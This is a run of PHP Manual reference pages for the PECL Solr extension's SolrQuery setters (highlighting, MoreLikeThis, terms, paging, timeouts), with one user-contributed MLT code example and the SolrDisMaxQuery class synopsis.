  • Sets the maximum number of characters of the field to return

SolrQuery::setHighlightMaxAlternateFieldLength

(PECL solr >= 0.9.2)

SolrQuery::setHighlightMaxAlternateFieldLength — Sets the maximum number of characters of the field to return

说明

public SolrQuery::setHighlightMaxAlternateFieldLength(int $fieldLength, string $field_override = ?): SolrQuery

If SolrQuery::setHighlightAlternateField() was passed the value true, this parameter specifies the maximum number of characters of the field to return

Any value less than or equal to 0 means unlimited.

参数

fieldLength

The length of the field

field_override

The name of the field.

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Specifies the number of characters into a document to look for suitable snippets

  • ? SolrQuery::setHighlightMaxAlternateFieldLength
  • SolrQuery::setHighlightMergeContiguous ?
  • PHP Manual
  • SolrQuery
  • Specifies the number of characters into a document to look for suitable snippets

SolrQuery::setHighlightMaxAnalyzedChars

(PECL solr >= 0.9.2)

SolrQuery::setHighlightMaxAnalyzedChars — Specifies the number of characters into a document to look for suitable snippets

说明

public SolrQuery::setHighlightMaxAnalyzedChars(int $value): SolrQuery

Specifies the number of characters into a document to look for suitable snippets

参数

value

The number of characters into a document to look for suitable snippets

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Whether or not to collapse contiguous fragments into a single fragment

  • ? SolrQuery::setHighlightMaxAnalyzedChars
  • SolrQuery::setHighlightRegexMaxAnalyzedChars ?
  • PHP Manual
  • SolrQuery
  • Whether or not to collapse contiguous fragments into a single fragment

SolrQuery::setHighlightMergeContiguous

(PECL solr >= 0.9.2)

SolrQuery::setHighlightMergeContiguous — Whether or not to collapse contiguous fragments into a single fragment

说明

public SolrQuery::setHighlightMergeContiguous(bool $flag, string $field_override = ?): SolrQuery

Whether or not to collapse contiguous fragments into a single fragment

参数

value

Whether or not to collapse contiguous fragments into a single fragment

field_override

The name of the field.

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Specify the maximum number of characters to analyze

  • ? SolrQuery::setHighlightMergeContiguous
  • SolrQuery::setHighlightRegexPattern ?
  • PHP Manual
  • SolrQuery
  • Specify the maximum number of characters to analyze

SolrQuery::setHighlightRegexMaxAnalyzedChars

(PECL solr >= 0.9.2)

SolrQuery::setHighlightRegexMaxAnalyzedChars — Specify the maximum number of characters to analyze

说明

public SolrQuery::setHighlightRegexMaxAnalyzedChars(int $maxAnalyzedChars): SolrQuery

Specify the maximum number of characters to analyze from a field when using the regex fragmenter

参数

maxAnalyzedChars

The maximum number of characters to analyze from a field when using the regex fragmenter

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Specify the regular expression for fragmenting

  • ? SolrQuery::setHighlightRegexMaxAnalyzedChars
  • SolrQuery::setHighlightRegexSlop ?
  • PHP Manual
  • SolrQuery
  • Specify the regular expression for fragmenting

SolrQuery::setHighlightRegexPattern

(PECL solr >= 0.9.2)

SolrQuery::setHighlightRegexPattern — Specify the regular expression for fragmenting

说明

public SolrQuery::setHighlightRegexPattern(string $value): SolrQuery

Specifies the regular expression for fragmenting. This could be used to extract sentences

参数

value

The regular expression for fragmenting. This could be used to extract sentences

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the factor by which the regex fragmenter can stray from the ideal fragment size

  • ? SolrQuery::setHighlightRegexPattern
  • SolrQuery::setHighlightRequireFieldMatch ?
  • PHP Manual
  • SolrQuery
  • Sets the factor by which the regex fragmenter can stray from the ideal fragment size

SolrQuery::setHighlightRegexSlop

(PECL solr >= 0.9.2)

SolrQuery::setHighlightRegexSlop — Sets the factor by which the regex fragmenter can stray from the ideal fragment size

说明

public SolrQuery::setHighlightRegexSlop(float $factor): SolrQuery

The factor by which the regex fragmenter can stray from the ideal fragment size ( specfied by SolrQuery::setHighlightFragsize )to accommodate the regular expression

参数

factor

The factor by which the regex fragmenter can stray from the ideal fragment size

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Require field matching during highlighting

  • ? SolrQuery::setHighlightRegexSlop
  • SolrQuery::setHighlightSimplePost ?
  • PHP Manual
  • SolrQuery
  • Require field matching during highlighting

SolrQuery::setHighlightRequireFieldMatch

(PECL solr >= 0.9.2)

SolrQuery::setHighlightRequireFieldMatch — Require field matching during highlighting

说明

public SolrQuery::setHighlightRequireFieldMatch(bool $flag): SolrQuery

If true, then a field will only be highlighted if the query matched in this particular field.

This will only work if SolrQuery::setHighlightUsePhraseHighlighter() was set to true

参数

flag

true or false

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the text which appears after a highlighted term

  • ? SolrQuery::setHighlightRequireFieldMatch
  • SolrQuery::setHighlightSimplePre ?
  • PHP Manual
  • SolrQuery
  • Sets the text which appears after a highlighted term

SolrQuery::setHighlightSimplePost

(PECL solr >= 0.9.2)

SolrQuery::setHighlightSimplePost — Sets the text which appears after a highlighted term

说明

public SolrQuery::setHighlightSimplePost(string $simplePost, string $field_override = ?): SolrQuery

Sets the text which appears before a highlighted term

参数

simplePost

Sets the text which appears after a highlighted term

The default is </em>

field_override

The name of the field.

返回值

Returns an instance of SolrQuery.

User Contributed Notes

There are no user contributed notes for this page.


Sets the text which appears before a highlighted term

  • ? SolrQuery::setHighlightSimplePost
  • SolrQuery::setHighlightSnippets ?
  • PHP Manual
  • SolrQuery
  • Sets the text which appears before a highlighted term

SolrQuery::setHighlightSimplePre

(PECL solr >= 0.9.2)

SolrQuery::setHighlightSimplePre — Sets the text which appears before a highlighted term

说明

public SolrQuery::setHighlightSimplePre(string $simplePre, string $field_override = ?): SolrQuery

Sets the text which appears before a highlighted term

The default is <em>

参数

simplePre

The text which appears before a highlighted term

field_override

The name of the field.

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the maximum number of highlighted snippets to generate per field

  • ? SolrQuery::setHighlightSimplePre
  • SolrQuery::setHighlightUsePhraseHighlighter ?
  • PHP Manual
  • SolrQuery
  • Sets the maximum number of highlighted snippets to generate per field

SolrQuery::setHighlightSnippets

(PECL solr >= 0.9.2)

SolrQuery::setHighlightSnippets — Sets the maximum number of highlighted snippets to generate per field

说明

public SolrQuery::setHighlightSnippets(int $value, string $field_override = ?): SolrQuery

Sets the maximum number of highlighted snippets to generate per field

参数

value

The maximum number of highlighted snippets to generate per field

field_override

The name of the field.

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Whether to highlight phrase terms only when they appear within the query phrase

  • ? SolrQuery::setHighlightSnippets
  • SolrQuery::setMlt ?
  • PHP Manual
  • SolrQuery
  • Whether to highlight phrase terms only when they appear within the query phrase

SolrQuery::setHighlightUsePhraseHighlighter

(PECL solr >= 0.9.2)

SolrQuery::setHighlightUsePhraseHighlighter — Whether to highlight phrase terms only when they appear within the query phrase

说明

public SolrQuery::setHighlightUsePhraseHighlighter(bool $flag): SolrQuery

Sets whether or not to use SpanScorer to highlight phrase terms only when they appear within the query phrase in the document

参数

value

Whether or not to use SpanScorer to highlight phrase terms only when they appear within the query phrase in the document

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Enables or disables moreLikeThis

  • ? SolrQuery::setHighlightUsePhraseHighlighter
  • SolrQuery::setMltBoost ?
  • PHP Manual
  • SolrQuery
  • Enables or disables moreLikeThis

SolrQuery::setMlt

(PECL solr >= 0.9.2)

SolrQuery::setMlt — Enables or disables moreLikeThis

说明

public SolrQuery::setMlt(bool $flag): SolrQuery

Enables or disables moreLikeThis

参数

flag

true enables it and false turns it off.

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

duerra at nospam dot yahoo dot com 18-Nov-2010 04:34
Note that currently, if enabling MLT results in Solr, you also need to set the MinDocFrequency and MinTermFrequency, or you will not get any results back.

<?php
$client = new SolrClient($params);
$query = new SolrQuery();
$query->setMlt(true);
$query->addField('*,score');
$query->setMltMinDocFrequency(1);
$query->setMltMinTermFrequency(1);

//What the MLT documents will be based off of
$query->setQuery('id:doc_10');
$result = $client->query($query);
$result->setParseMode(SolrQueryResponse::PARSE_SOLR_OBJ);
$response = $result->getResponse();

//MLT returns an array of documents based off of the id field value of EACH result returned in the primary search, with an array of MLT documents for each main result document returned

//Presuming the unique field in our schema above is "id" and I know that I will only be getting one document returned in the primary result set, then:
$similarDocs = $response->moreLikeThis->doc_10->docs;

?>

Hope this helps.


Set if the query will be boosted by the interesting term relevance

  • ? SolrQuery::setMlt
  • SolrQuery::setMltCount ?
  • PHP Manual
  • SolrQuery
  • Set if the query will be boosted by the interesting term relevance

SolrQuery::setMltBoost

(PECL solr >= 0.9.2)

SolrQuery::setMltBoost — Set if the query will be boosted by the interesting term relevance

说明

public SolrQuery::setMltBoost(bool $flag): SolrQuery

Set if the query will be boosted by the interesting term relevance

参数

value

Sets to true or false

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Set the number of similar documents to return for each result

  • ? SolrQuery::setMltBoost
  • SolrQuery::setMltMaxNumQueryTerms ?
  • PHP Manual
  • SolrQuery
  • Set the number of similar documents to return for each result

SolrQuery::setMltCount

(PECL solr >= 0.9.2)

SolrQuery::setMltCount — Set the number of similar documents to return for each result

说明

public SolrQuery::setMltCount(int $count): SolrQuery

Set the number of similar documents to return for each result

参数

count

The number of similar documents to return for each result

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the maximum number of query terms included

  • ? SolrQuery::setMltCount
  • SolrQuery::setMltMaxNumTokens ?
  • PHP Manual
  • SolrQuery
  • Sets the maximum number of query terms included

SolrQuery::setMltMaxNumQueryTerms

(PECL solr >= 0.9.2)

SolrQuery::setMltMaxNumQueryTerms — Sets the maximum number of query terms included

说明

public SolrQuery::setMltMaxNumQueryTerms(int $value): SolrQuery

Sets the maximum number of query terms that will be included in any generated query.

参数

value

The maximum number of query terms that will be included in any generated query

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Specifies the maximum number of tokens to parse

  • ? SolrQuery::setMltMaxNumQueryTerms
  • SolrQuery::setMltMaxWordLength ?
  • PHP Manual
  • SolrQuery
  • Specifies the maximum number of tokens to parse

SolrQuery::setMltMaxNumTokens

(PECL solr >= 0.9.2)

SolrQuery::setMltMaxNumTokens — Specifies the maximum number of tokens to parse

说明

public SolrQuery::setMltMaxNumTokens(int $value): SolrQuery

Specifies the maximum number of tokens to parse in each example doc field that is not stored with TermVector support.

参数

value

The maximum number of tokens to parse

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the maximum word length

  • ? SolrQuery::setMltMaxNumTokens
  • SolrQuery::setMltMinDocFrequency ?
  • PHP Manual
  • SolrQuery
  • Sets the maximum word length

SolrQuery::setMltMaxWordLength

(PECL solr >= 0.9.2)

SolrQuery::setMltMaxWordLength — Sets the maximum word length

说明

public SolrQuery::setMltMaxWordLength(int $maxWordLength): SolrQuery

Sets the maximum word length above which words will be ignored.

参数

maxWordLength

The maximum word length above which words will be ignored

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the mltMinDoc frequency

  • ? SolrQuery::setMltMaxWordLength
  • SolrQuery::setMltMinTermFrequency ?
  • PHP Manual
  • SolrQuery
  • Sets the mltMinDoc frequency

SolrQuery::setMltMinDocFrequency

(PECL solr >= 0.9.2)

SolrQuery::setMltMinDocFrequency — Sets the mltMinDoc frequency

说明

public SolrQuery::setMltMinDocFrequency(int $minDocFrequency): SolrQuery

The frequency at which words will be ignored which do not occur in at least this many docs.

参数

minDocFrequency

Sets the frequency at which words will be ignored which do not occur in at least this many docs.

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the frequency below which terms will be ignored in the source docs

  • ? SolrQuery::setMltMinDocFrequency
  • SolrQuery::setMltMinWordLength ?
  • PHP Manual
  • SolrQuery
  • Sets the frequency below which terms will be ignored in the source docs

SolrQuery::setMltMinTermFrequency

(PECL solr >= 0.9.2)

SolrQuery::setMltMinTermFrequency — Sets the frequency below which terms will be ignored in the source docs

说明

public SolrQuery::setMltMinTermFrequency(int $minTermFrequency): SolrQuery

Sets the frequency below which terms will be ignored in the source docs

参数

minTermFrequency

The frequency below which terms will be ignored in the source docs

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the minimum word length

  • ? SolrQuery::setMltMinTermFrequency
  • SolrQuery::setOmitHeader ?
  • PHP Manual
  • SolrQuery
  • Sets the minimum word length

SolrQuery::setMltMinWordLength

(PECL solr >= 0.9.2)

SolrQuery::setMltMinWordLength — Sets the minimum word length

说明

public SolrQuery::setMltMinWordLength(int $minWordLength): SolrQuery

Sets the minimum word length below which words will be ignored.

参数

minWordLength

The minimum word length below which words will be ignored

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Exclude the header from the returned results

  • ? SolrQuery::setMltMinWordLength
  • SolrQuery::setQuery ?
  • PHP Manual
  • SolrQuery
  • Exclude the header from the returned results

SolrQuery::setOmitHeader

(PECL solr >= 0.9.2)

SolrQuery::setOmitHeader — Exclude the header from the returned results

说明

public SolrQuery::setOmitHeader(bool $flag): SolrQuery

Exclude the header from the returned results.

参数

flag

true excludes the header from the result.

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the search query

  • ? SolrQuery::setOmitHeader
  • SolrQuery::setRows ?
  • PHP Manual
  • SolrQuery
  • Sets the search query

SolrQuery::setQuery

(PECL solr >= 0.9.2)

SolrQuery::setQuery — Sets the search query

说明

public SolrQuery::setQuery(string $query): SolrQuery

Sets the search query.

参数

query

The search query

返回值

Returns the current SolrQuery object

User Contributed Notes

There are no user contributed notes for this page.


Specifies the maximum number of rows to return in the result

  • ? SolrQuery::setQuery
  • SolrQuery::setShowDebugInfo ?
  • PHP Manual
  • SolrQuery
  • Specifies the maximum number of rows to return in the result

SolrQuery::setRows

(PECL solr >= 0.9.2)

SolrQuery::setRows — Specifies the maximum number of rows to return in the result

说明

public SolrQuery::setRows(int $rows): SolrQuery

Specifies the maximum number of rows to return in the result

参数

rows

The maximum number of rows to return

返回值

Returns the current SolrQuery object.

User Contributed Notes

There are no user contributed notes for this page.


Flag to show debug information

  • ? SolrQuery::setRows
  • SolrQuery::setStart ?
  • PHP Manual
  • SolrQuery
  • Flag to show debug information

SolrQuery::setShowDebugInfo

(PECL solr >= 0.9.2)

SolrQuery::setShowDebugInfo — Flag to show debug information

说明

public SolrQuery::setShowDebugInfo(bool $flag): SolrQuery

Whether to show debug info

参数

flag

Whether to show debug info. true or false

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Specifies the number of rows to skip

  • ? SolrQuery::setShowDebugInfo
  • SolrQuery::setStats ?
  • PHP Manual
  • SolrQuery
  • Specifies the number of rows to skip

SolrQuery::setStart

(PECL solr >= 0.9.2)

SolrQuery::setStart — Specifies the number of rows to skip

说明

public SolrQuery::setStart(int $start): SolrQuery

Specifies the number of rows to skip. Useful in pagination of results.

参数

start

The number of rows to skip.

返回值

Returns the current SolrQuery object.

User Contributed Notes

There are no user contributed notes for this page.


Enables or disables the Stats component

  • ? SolrQuery::setStart
  • SolrQuery::setTerms ?
  • PHP Manual
  • SolrQuery
  • Enables or disables the Stats component

SolrQuery::setStats

(PECL solr >= 0.9.2)

SolrQuery::setStats — Enables or disables the Stats component

说明

public SolrQuery::setStats(bool $flag): SolrQuery

Enables or disables the Stats component.

参数

flag

true turns on the stats component and false disables it.

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Enables or disables the TermsComponent

  • ? SolrQuery::setStats
  • SolrQuery::setTermsField ?
  • PHP Manual
  • SolrQuery
  • Enables or disables the TermsComponent

SolrQuery::setTerms

(PECL solr >= 0.9.2)

SolrQuery::setTerms — Enables or disables the TermsComponent

说明

public SolrQuery::setTerms(bool $flag): SolrQuery

Enables or disables the TermsComponent

参数

flag

true enables it. false turns it off

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the name of the field to get the Terms from

  • ? SolrQuery::setTerms
  • SolrQuery::setTermsIncludeLowerBound ?
  • PHP Manual
  • SolrQuery
  • Sets the name of the field to get the Terms from

SolrQuery::setTermsField

(PECL solr >= 0.9.2)

SolrQuery::setTermsField — Sets the name of the field to get the Terms from

说明

public SolrQuery::setTermsField(string $fieldname): SolrQuery

Sets the name of the field to get the terms from

参数

fieldname

The field name

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Include the lower bound term in the result set

  • ? SolrQuery::setTermsField
  • SolrQuery::setTermsIncludeUpperBound ?
  • PHP Manual
  • SolrQuery
  • Include the lower bound term in the result set

SolrQuery::setTermsIncludeLowerBound

(PECL solr >= 0.9.2)

SolrQuery::setTermsIncludeLowerBound — Include the lower bound term in the result set

说明

public SolrQuery::setTermsIncludeLowerBound(bool $flag): SolrQuery

Include the lower bound term in the result set.

参数

flag

Include the lower bound term in the result set

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Include the upper bound term in the result set

  • ? SolrQuery::setTermsIncludeLowerBound
  • SolrQuery::setTermsLimit ?
  • PHP Manual
  • SolrQuery
  • Include the upper bound term in the result set

SolrQuery::setTermsIncludeUpperBound

(PECL solr >= 0.9.2)

SolrQuery::setTermsIncludeUpperBound — Include the upper bound term in the result set

说明

public SolrQuery::setTermsIncludeUpperBound(bool $flag): SolrQuery

Include the upper bound term in the result set.

参数

flag

true or false

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the maximum number of terms to return

  • ? SolrQuery::setTermsIncludeUpperBound
  • SolrQuery::setTermsLowerBound ?
  • PHP Manual
  • SolrQuery
  • Sets the maximum number of terms to return

SolrQuery::setTermsLimit

(PECL solr >= 0.9.2)

SolrQuery::setTermsLimit — Sets the maximum number of terms to return

说明

public SolrQuery::setTermsLimit(int $limit): SolrQuery

Sets the maximum number of terms to return

参数

limit

The maximum number of terms to return. All the terms will be returned if the limit is negative.

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Specifies the Term to start from

  • ? SolrQuery::setTermsLimit
  • SolrQuery::setTermsMaxCount ?
  • PHP Manual
  • SolrQuery
  • Specifies the Term to start from

SolrQuery::setTermsLowerBound

(PECL solr >= 0.9.2)

SolrQuery::setTermsLowerBound — Specifies the Term to start from

说明

public SolrQuery::setTermsLowerBound(string $lowerBound): SolrQuery

Specifies the Term to start from

参数

lowerBound

The lower bound Term

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the maximum document frequency

  • ? SolrQuery::setTermsLowerBound
  • SolrQuery::setTermsMinCount ?
  • PHP Manual
  • SolrQuery
  • Sets the maximum document frequency

SolrQuery::setTermsMaxCount

(PECL solr >= 0.9.2)

SolrQuery::setTermsMaxCount — Sets the maximum document frequency

说明

public SolrQuery::setTermsMaxCount(int $frequency): SolrQuery

Sets the maximum document frequency.

参数

frequency

The maximum document frequency.

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the minimum document frequency

  • ? SolrQuery::setTermsMaxCount
  • SolrQuery::setTermsPrefix ?
  • PHP Manual
  • SolrQuery
  • Sets the minimum document frequency

SolrQuery::setTermsMinCount

(PECL solr >= 0.9.2)

SolrQuery::setTermsMinCount — Sets the minimum document frequency

说明

public SolrQuery::setTermsMinCount(int $frequency): SolrQuery

Sets the minimum doc frequency to return in order to be included

参数

frequency

The minimum frequency

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Restrict matches to terms that start with the prefix

  • ? SolrQuery::setTermsMinCount
  • SolrQuery::setTermsReturnRaw ?
  • PHP Manual
  • SolrQuery
  • Restrict matches to terms that start with the prefix

SolrQuery::setTermsPrefix

(PECL solr >= 0.9.2)

SolrQuery::setTermsPrefix — Restrict matches to terms that start with the prefix

说明

public SolrQuery::setTermsPrefix(string $prefix): SolrQuery

Restrict matches to terms that start with the prefix

参数

prefix

Restrict matches to terms that start with the prefix

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Return the raw characters of the indexed term

  • ? SolrQuery::setTermsPrefix
  • SolrQuery::setTermsSort ?
  • PHP Manual
  • SolrQuery
  • Return the raw characters of the indexed term

SolrQuery::setTermsReturnRaw

(PECL solr >= 0.9.2)

SolrQuery::setTermsReturnRaw — Return the raw characters of the indexed term

说明

public SolrQuery::setTermsReturnRaw(bool $flag): SolrQuery

If true, return the raw characters of the indexed term, regardless of if it is human readable

参数

value

true or false

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Specifies how to sort the returned terms

  • ? SolrQuery::setTermsReturnRaw
  • SolrQuery::setTermsUpperBound ?
  • PHP Manual
  • SolrQuery
  • Specifies how to sort the returned terms

SolrQuery::setTermsSort

(PECL solr >= 0.9.2)

SolrQuery::setTermsSort — Specifies how to sort the returned terms

说明

public SolrQuery::setTermsSort(int $sortType): SolrQuery

If SolrQuery::TERMS_SORT_COUNT, sorts the terms by the term frequency (highest count first). If SolrQuery::TERMS_SORT_INDEX, returns the terms in index order

参数

sortType

SolrQuery::TERMS_SORT_INDEX or SolrQuery::TERMS_SORT_COUNT

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the term to stop at

  • ? SolrQuery::setTermsSort
  • SolrQuery::setTimeAllowed ?
  • PHP Manual
  • SolrQuery
  • Sets the term to stop at

SolrQuery::setTermsUpperBound

(PECL solr >= 0.9.2)

SolrQuery::setTermsUpperBound — Sets the term to stop at

说明

public SolrQuery::setTermsUpperBound(string $upperBound): SolrQuery

Sets the term to stop at

参数

upperBound

The term to stop at

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


The time allowed for search to finish

  • ? SolrQuery::setTermsUpperBound
  • SolrDisMaxQuery ?
  • PHP Manual
  • SolrQuery
  • The time allowed for search to finish

SolrQuery::setTimeAllowed

(PECL solr >= 0.9.2)

SolrQuery::setTimeAllowed — The time allowed for search to finish

说明

public SolrQuery::setTimeAllowed(int $timeAllowed): SolrQuery

The time allowed for a search to finish. This value only applies to the search and not to requests in general. Time is in milliseconds. Values less than or equal to zero implies no time restriction. Partial results may be returned, if there are any.

参数

timeAllowed

The time allowed for a search to finish.

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


The SolrDisMaxQuery class

(No version information available, might only be in Git)

简介

类摘要

class SolrDisMaxQuery extends SolrQuery implements Serializable {
/* 继承的属性 */
const int SolrQuery::ORDER_ASC = 0;
const int SolrQuery::ORDER_DESC = 1;
const int SolrQuery::FACET_SORT_INDEX = 0;
const int SolrQuery::FACET_SORT_COUNT = 1;
const int SolrQuery::TERMS_SORT_INDEX = 0;
const int SolrQuery::TERMS_SORT_COUNT = 1;
/* 方法 */
public __construct(string $q = ?)
public addBigramPhraseField(string $field, string $boost, string $slop = ?): SolrDisMaxQuery
public addBoostQuery(string $field, string $value, string $boost = ?): SolrDisMaxQuery
public addPhraseField(string $field, string $boost, string $slop = ?): SolrDisMaxQuery
public addQueryField(string $field, string $boost = ?): SolrDisMaxQuery
public addTrigramPhraseField(string $field, string $boost, string $slop = ?): SolrDisMaxQuery
public addUserField(string $field): SolrDisMaxQuery
public removeBigramPhraseField(string $field): SolrDisMaxQuery
public removeBoostQuery(string $field): SolrDisMaxQuery
public removePhraseField(string $field): SolrDisMaxQuery
public removeQueryField(string $field): SolrDisMaxQuery
public removeTrigramPhraseField(string $field): SolrDisMaxQuery
public removeUserField(string $field): SolrDisMaxQuery
public setBigramPhraseFields(string $fields): SolrDisMaxQuery
public setBigramPhraseSlop(string $slop): SolrDisMaxQuery
public setBoostFunction(string $function): SolrDisMaxQuery
public setBoostQuery(string $q): SolrDisMaxQuery
public setMinimumMatch(string $value): SolrDisMaxQuery
public setPhraseFields(string $fields): SolrDisMaxQuery
public setPhraseSlop(string $slop): SolrDisMaxQuery
public setQueryAlt(string $q): SolrDisMaxQuery
public setQueryPhraseSlop(string $slop): SolrDisMaxQuery
public setTieBreaker(string $tieBreaker): SolrDisMaxQuery
public setTrigramPhraseFields(string $fields): SolrDisMaxQuery
public setTrigramPhraseSlop(string $slop): SolrDisMaxQuery
public setUserFields(string $fields): SolrDisMaxQuery
public useDisMaxQueryParser(): SolrDisMaxQuery
public useEDisMaxQueryParser(): SolrDisMaxQuery
/* 继承的方法 */
public SolrQuery::addExpandFilterQuery(string $fq): SolrQuery
public SolrQuery::addExpandSortField(string $field, string $order = ?): SolrQuery
public SolrQuery::addFacetDateField(string $dateField): SolrQuery
public SolrQuery::addFacetDateOther(string $value, string $field_override = ?): SolrQuery
public SolrQuery::addFacetField(string $field): SolrQuery
public SolrQuery::addFacetQuery(string $facetQuery): SolrQuery
public SolrQuery::addField(string $field): SolrQuery
public SolrQuery::addFilterQuery(string $fq): SolrQuery
public SolrQuery::addGroupField(string $value): SolrQuery
public SolrQuery::addGroupFunction(string $value): SolrQuery
public SolrQuery::addGroupQuery(string $value): SolrQuery
public SolrQuery::addGroupSortField(string $field, int $order = ?): SolrQuery
public SolrQuery::addHighlightField(string $field): SolrQuery
public SolrQuery::addMltField(string $field): SolrQuery
public SolrQuery::addMltQueryField(string $field, float $boost): SolrQuery
public SolrQuery::addSortField(string $field, int $order = SolrQuery::ORDER_DESC): SolrQuery
public SolrQuery::addStatsFacet(string $field): SolrQuery
public SolrQuery::addStatsField(string $field): SolrQuery
public SolrQuery::collapse(SolrCollapseFunction $collapseFunction): SolrQuery
public SolrQuery::getExpand(): bool
public SolrQuery::getExpandFilterQueries(): array
public SolrQuery::getExpandQuery(): array
public SolrQuery::getExpandRows(): int
public SolrQuery::getExpandSortFields(): array
public SolrQuery::getFacet(): bool
public SolrQuery::getFacetDateEnd(string $field_override = ?): string
public SolrQuery::getFacetDateFields(): array
public SolrQuery::getFacetDateGap(string $field_override = ?): string
public SolrQuery::getFacetDateHardEnd(string $field_override = ?): string
public SolrQuery::getFacetDateOther(string $field_override = ?): array
public SolrQuery::getFacetDateStart(string $field_override = ?): string
public SolrQuery::getFacetFields(): array
public SolrQuery::getFacetLimit(string $field_override = ?): int
public SolrQuery::getFacetMethod(string $field_override = ?): string
public SolrQuery::getFacetMinCount(string $field_override = ?): int
public SolrQuery::getFacetMissing(string $field_override = ?): bool
public SolrQuery::getFacetOffset(string $field_override = ?): int
public SolrQuery::getFacetPrefix(string $field_override = ?): string
public SolrQuery::getFacetQueries(): array
public SolrQuery::getFacetSort(string $field_override = ?): int
public SolrQuery::getFields(): array
public SolrQuery::getFilterQueries(): array
public SolrQuery::getGroup(): bool
public SolrQuery::getGroupCachePercent(): int
public SolrQuery::getGroupFacet(): bool
public SolrQuery::getGroupFields(): array
public SolrQuery::getGroupFormat(): string
public SolrQuery::getGroupFunctions(): array
public SolrQuery::getGroupLimit(): int
public SolrQuery::getGroupMain(): bool
public SolrQuery::getGroupNGroups(): bool
public SolrQuery::getGroupOffset(): int
public SolrQuery::getGroupQueries(): array
public SolrQuery::getGroupSortFields(): array
public SolrQuery::getGroupTruncate(): bool
public SolrQuery::getHighlight(): bool
public SolrQuery::getHighlightAlternateField(string $field_override = ?): string
public SolrQuery::getHighlightFields(): array
public SolrQuery::getHighlightFormatter(string $field_override = ?): string
public SolrQuery::getHighlightFragmenter(string $field_override = ?): string
public SolrQuery::getHighlightFragsize(string $field_override = ?): int
public SolrQuery::getHighlightHighlightMultiTerm(): bool
public SolrQuery::getHighlightMaxAlternateFieldLength(string $field_override = ?): int
public SolrQuery::getHighlightMaxAnalyzedChars(): int
public SolrQuery::getHighlightMergeContiguous(string $field_override = ?): bool
public SolrQuery::getHighlightRegexMaxAnalyzedChars(): int
public SolrQuery::getHighlightRegexPattern(): string
public SolrQuery::getHighlightRegexSlop(): float
public SolrQuery::getHighlightRequireFieldMatch(): bool
public SolrQuery::getHighlightSimplePost(string $field_override = ?): string
public SolrQuery::getHighlightSimplePre(string $field_override = ?): string
public SolrQuery::getHighlightSnippets(string $field_override = ?): int
public SolrQuery::getHighlightUsePhraseHighlighter(): bool
public SolrQuery::getMlt(): bool
public SolrQuery::getMltBoost(): bool
public SolrQuery::getMltCount(): int
public SolrQuery::getMltFields(): array
public SolrQuery::getMltMaxNumQueryTerms(): int
public SolrQuery::getMltMaxNumTokens(): int
public SolrQuery::getMltMaxWordLength(): int
public SolrQuery::getMltMinDocFrequency(): int
public SolrQuery::getMltMinTermFrequency(): int
public SolrQuery::getMltMinWordLength(): int
public SolrQuery::getMltQueryFields(): array
public SolrQuery::getQuery(): string
public SolrQuery::getRows(): int
public SolrQuery::getSortFields(): array
public SolrQuery::getStart(): int
public SolrQuery::getStats(): bool
public SolrQuery::getStatsFacets(): array
public SolrQuery::getStatsFields(): array
public SolrQuery::getTerms(): bool
public SolrQuery::getTermsField(): string
public SolrQuery::getTermsIncludeLowerBound(): bool
public SolrQuery::getTermsIncludeUpperBound(): bool
public SolrQuery::getTermsLimit(): int
public SolrQuery::getTermsLowerBound(): string
public SolrQuery::getTermsMaxCount(): int
public SolrQuery::getTermsMinCount(): int
